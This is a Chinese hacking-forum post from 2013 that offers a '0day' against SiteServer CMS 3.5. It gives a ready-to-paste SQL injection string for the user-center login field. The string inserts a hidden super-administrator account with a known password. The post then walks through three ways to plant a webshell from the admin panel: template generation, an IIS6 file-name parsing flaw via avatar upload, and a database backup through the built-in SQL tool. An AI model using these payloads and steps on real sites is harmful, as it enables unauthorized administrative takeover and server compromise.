找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2295|回复: 0
打印 上一主题 下一主题

SiteServer CMS 0Day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:10:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
经测试秒杀最新的3.5版+ x+ B" B  E% i' T. n
- x+ W% h( E( k, l. Z/ v
stieserver官网:www.siteserver.cn
- m4 g6 `) k9 ]% I) q2 D6 f* ^$ E8 D0 N# @. S
- f4 ^; F1 z. k4 z% L
) C* a8 h* B# x: r4 q4 r2 S
EXP:
0 s  ]$ ]" k+ @
! ~! a, R4 ^* m4 h9 K. j; x直接访问UserCenter/login.aspx
; R+ a! @/ Y+ Q( y% f
/ B% z9 W! @$ ~# f( W0 G
* I; p& c; _+ ^. m
+ ~* m% u+ v) r7 f8 e1 x5 ?6 m用户名处输入:
* Q/ C( s: }. r- w/ j1 h" h6 K; w: y, M( P& P/ G% ?/ F
123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--
) b1 w+ [% l/ G; a- y9 m4 e; J! Q  }* ^2 g: e+ w( K8 K$ V/ p

+ G1 G0 J3 O/ [
  D8 u9 u* |" O1 L2 L- K* w密码为空,输入验证码后提交,既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。
* F( i" @& q/ i" |1 q
7 f  u1 X6 L5 j! ]   s5 y& Y7 m$ x3 g( s7 u0 p. M) E0 k

4 b5 ]: g( v/ r# O# D3 P之后再访问后台SiteServer/login.aspx用插入的用户登陆4 j. F6 X# ?% ?' g" H' A

/ ]& X! J' l( X2 Q$ f
% g  |4 t' Y; W. r  h0 f# n
1 h, ^% k0 j) ^& I  k# y. b  f后台拿webshell的三种方法:  u; W- k: f1 B/ Y' t* e
; z  s; ^' {: \
一、
$ B0 Q* u3 \2 }( m4 ^( E+ s" `- E. b' T
4 _: N) I8 ]1 a2 x站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx
2 c" G8 m7 o" ~$ F4 s$ C2 |+ E+ j- r+ ^
二、. D9 g( V9 L/ f! N; E/ X5 G
$ Z' B' q5 l. ?6 a
成员权限-》添加用户-》用户名为:1.asp! A/ p" T' y! b" F( v4 u4 V
: m, k  a6 ?% y& v& I6 V
http://127.0.0.1/usercenter/; n7 G* l/ ^1 E) q
' m% `) e- X0 ?2 R- t
用刚才添加的1.asp去登陆,进去之后上传个人头像,利用IIS6解析漏洞得webshell$ S* d- J* {' S& a& ?, x
3 x1 T0 y" l* l! c7 K
(ps:后台添加用户时不会验证是否含有非法字符)
6 i9 ]8 `, }7 B- |! t
# @! H* k6 I* F三、
7 b, v4 l$ D! k' Y1 E, k0 i1 J
0 j# Q- _# N# T5 Y系统工具-》实用工具-》机器参数查看
% T. S# A1 B- Z3 T3 C/ b# o可以看到数据库类型、名称,WEB路径( L& y7 H" U! ^* h" X* f
' a4 c8 r' A' Y3 t
系统工具-》数据库工具-》SQL语句查询  z2 a3 A. e% _$ H+ a5 A
这功能做的不错,直接就相当于一个查询分析器,什么回显都有,可以backup得webshell,或者利用sqlserver配置不当直接XXOO。
6 C- _: l4 n  v/ h8 l6 l2 O6 m" ]: v$ r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表